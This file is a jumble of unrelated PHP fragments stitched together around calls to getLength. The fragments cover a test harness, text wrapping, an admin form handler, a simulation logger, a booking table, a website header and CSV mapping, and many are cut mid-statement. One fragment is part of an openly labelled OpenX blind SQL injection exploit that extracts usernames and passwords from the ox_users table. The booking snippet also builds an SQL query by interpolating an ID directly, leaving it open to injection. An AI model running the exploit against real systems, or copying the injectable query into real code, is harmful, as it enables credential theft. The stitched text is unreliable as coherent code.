function testgetLength($expectedresult, $start, $end) { echo "<h1>Running Get Length with Parameters:</h1>"; echo "start = " . $start . "<br />"; echo "end = " . $end . "<br />"; $result = getLength($start, $end); echo "Expected Value is " . $expectedresult . ". Return value is " . $result . "<br />"; if ($result == $expectedresult) { echo '<p style="color:#008000"><b>Passed.</b></p>'; } else { echo '<p style="color:#800000"><b>Failed.</b></p>'; } }
$max_line_h = -1; $min_line_h = -1; while ($i < $max) { $dim = array(); $curStr = ""; $cap = min($i + $min, $max); for ($j = $i; $j < $cap; $j++) { $curStr .= $words[$j] . ';'; } $i = $cap; $dim = getLength(reverseStr($curStr), $font); for ($i = $cap; $i < $max; $i++) { $oldStr = $curStr; $curStr .= $words[$i] . ';'; $oldDim = $dim; $dim = getLength(reverseStr($curStr), $font); if ($dim[0] > $width) { $curStr = $oldStr; $dim = $oldDim; break; } } $ayahText[] = $curStr; $data[] = $dim; if ($max_line_w < $dim[0]) { $max_line_w = $dim[0]; } if ($max_line_h < $dim[1]) { $max_line_h = $dim[1]; } if ($min_line_h > $dim[2]) {
<?php defined('ADMIN_KEKE') or exit('Access Denied'); $url = "index.php?do=custom&view=fields&model_id={$model_id}"; if ($is_submit == 1) { $id = intval($id); $model_id = intval($model_id); $fieldNum = getCusFieldsMaxId(); if (in_array($model_id, array(6, 7))) { $tbfield = 'service_ext_' . $fieldNum; } else { $tbfield = 'task_ext_' . $fieldNum; } if ($length_limit) { $arrlen = getLength($length_limit); $fds['f_min_len'] = intval($arrlen['min']); $fds['f_max_len'] = intval($arrlen['max']); $fds['f_fixed_len'] = intval($arrlen['fixed']); } $fds['f_type'] = 'varchar'; if (!$id) { $fds['f_code'] = $tbfield; } $fds['model_id'] = $model_id; $objTable = keke_table_class::get_instance("witkey_custom_fields"); $result = $objTable->save($fds, array('id' => $id)); if ($result) { CustomClass::updateExtData($id); } kekezu::admin_show_msg('操作成功', $url, 3, '', 'success'); } else {
$amountRabbit = 0; $amountWolf = 0; foreach (getDynamic() as $element) { if (get_class($element) == 'Rabbit') { $amountRabbit++; } else { $amountWolf++; } } array_push($GLOBALS['vars']['amountRabbit'], $amountRabbit); array_push($GLOBALS['vars']['amountWolf'], $amountWolf); array_push($GLOBALS['vars']['amountCarrot'], count(getPrize())); /* Loading screen counter */ if (getTime() % 5 == 0) { if (($loadingFile = fopen("../resources/log/loading_" . $GLOBALS["sessionId"] . ".txt", "w")) == true) { fwrite($loadingFile, getTime() . ' - ' . round(getTime() / getLength() * 100, 2) . " %"); fclose($loadingFile); } } } closeFile('Log'); closeFile('WorldDraw'); closeFile('Debug'); // closeFile('Conf'); $memory = memory_get_usage(true); $timeFinish = microtime(true); //session_start(); // World // Size $_SESSION['row'] = getSizeWorld()['row']; $_SESSION['col'] = getSizeWorld()['col'];
$booking = getBookings($babysitterid); if ($booking === 0) { echo "<p>There are no bookings for this babysitter</p>"; exit; } //Create select query $bookings_query = "SELECT b.starttime, b.endtime, b.confirmed, b.id, p.firstName, p.lastName, s.rate FROM bookings b INNER JOIN babysitters s ON b.idBabysitter = s.id INNER JOIN parents p ON b.idParent = p.id WHERE s.id = '{$babysitterid}'"; echo '<br />' . '<table>' . '<tr>' . '<th>Parent</th>' . '<th>Date/Time</th>' . '<th>Hours</th>' . '<th>Pay</th>' . '<th>Status</th>' . '</tr>'; if ($stmt = $mysqli->prepare($bookings_query)) { $stmt->execute(); $stmt->store_result(); $stmt->bind_result($starttime, $endtime, $confirmed, $id, $firstName, $lastName, $rate); while ($stmt->fetch()) { $ustarttime = strtotime(str_replace('-', '/', $starttime)); $uendtime = strtotime(str_replace('-', '/', $endtime)); echo '<tr>' . '<td>' . $firstName . " " . $lastName . '</td>' . '<td>' . $starttime . '</td>' . '<td>' . getLength($ustarttime, $uendtime) . '</td>' . '<td>$' . number_format(getPay($rate, getLength($ustarttime, $uendtime)), 2) . '</td>' . '<td>'; if (is_null($confirmed)) { echo "<a href='confirmbooking.php?bsid={$babysitterid}&confirmed=1&id={$id}'>confirm</a><br />"; echo "<a href='confirmbooking.php?bsid={$babysitterid}&confirmed=0&id={$id}'>reject</a>"; } else { echo $confirmed === 0 ? "rejected" : "confirmed"; } echo '</td></tr>'; } $stmt->free_result(); $stmt->close(); } echo '</table>'; $mysqli->close(); ?>
<!DOCTYPE HTML> <?php session_start(); require_once "phpFunction.php"; $_SESSION['maxImgId'] = (int) getLength(); setcookie('maxImgId', (int) $_SESSION['maxImgId'], time() + 3600); if (!isset($_SESSION['id'])) { $_SESSION['id'] = 1; } if (isset($_COOKIE['id'])) { $_SESSION['id'] = (int) $_COOKIE['id']; } else { setcookie('id', 1, time() + 3600); } ?> <html lang="pl"> <head> <title>SlowaMoc</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="description" content="SlowaMoc | sentencje | cytaty | zlote mysli | aforyzmy" /> <meta name="keywords" content="sentencje, cytaty, zlote mysli, aforyzmy" /> <link rel="stylesheet" href="style.css" type="text/css" /> <link rel="shortcut icon" href="/media/icon.ico"> </head> <body> <header> <nav> <div id="title"><a href="/index.php">SlowaMoc</a></div> <div class="menuButton" id="main"><a href="/index.php">Główna</a></div>
$v .= chr($b); } return $v; } $host = "127.0.0.1"; $result = "concat(username,0x3A,password)"; $table = "ox_users"; if (isset($_POST['host'])) { extract($_POST); $l = 0; while (sockr(1, ">", 0)) { $l++; } $f = $l; for ($l = 0; $l < $f; $l++) { if ($length = getLength()) { echo "VALUE: " . getValue($length) . "<br>"; } } } ?> <b>OpenX Remote Blind SQL Injection Exploit By d00m3r4ng<br> Vuln discovered and Exploit coded by d00m3r4ng<br>Contact: d00m3r4ng[at]gmail.com</b> <br><br> <form method="post"> Host: <input type="text" name="host" value="<?php echo $host; ?> " size="70"><br> OpenX Path: /<input type="text" name="path" size="100" value="<?php echo $path;
/** * csv データマッピング */ function dataMapping($param) { //マッピング対象カラム $updateColumns = array('staff_cd', 'name', 'name_kana', 'sex', 'post_cd', 'department', 'division', 'section', 'occupation_cd', 'occupation', 'mail_address', 'auth', 'retire_flg', 'trainer_1', 'trainer_2', 'trainer_3', 'trainer_4', 'trainer_5', 'trainer_6', 'trainer_7', 'trainer_8', 'trainer_9', 'trainer_10', 'admin_1', 'admin_2', 'admin_3', 'admin_4', 'admin_5', 'admin_6', 'admin_7', 'admin_8', 'admin_9', 'admin_10'); //マッピング処理 $return = array(); foreach ($updateColumns as $colum) { $key = sprintf("edit_%s", $colum); if (array_key_exists($key, $param)) { if (!empty($param[$key]) || getLength($param[$key]) > 0) { $return[$colum] = $param[$key]; } else { $return[$colum] = null; } } } //固定値 if (isset($param['edit_seq'])) { $return['seq'] = $param['edit_seq']; } return $return; }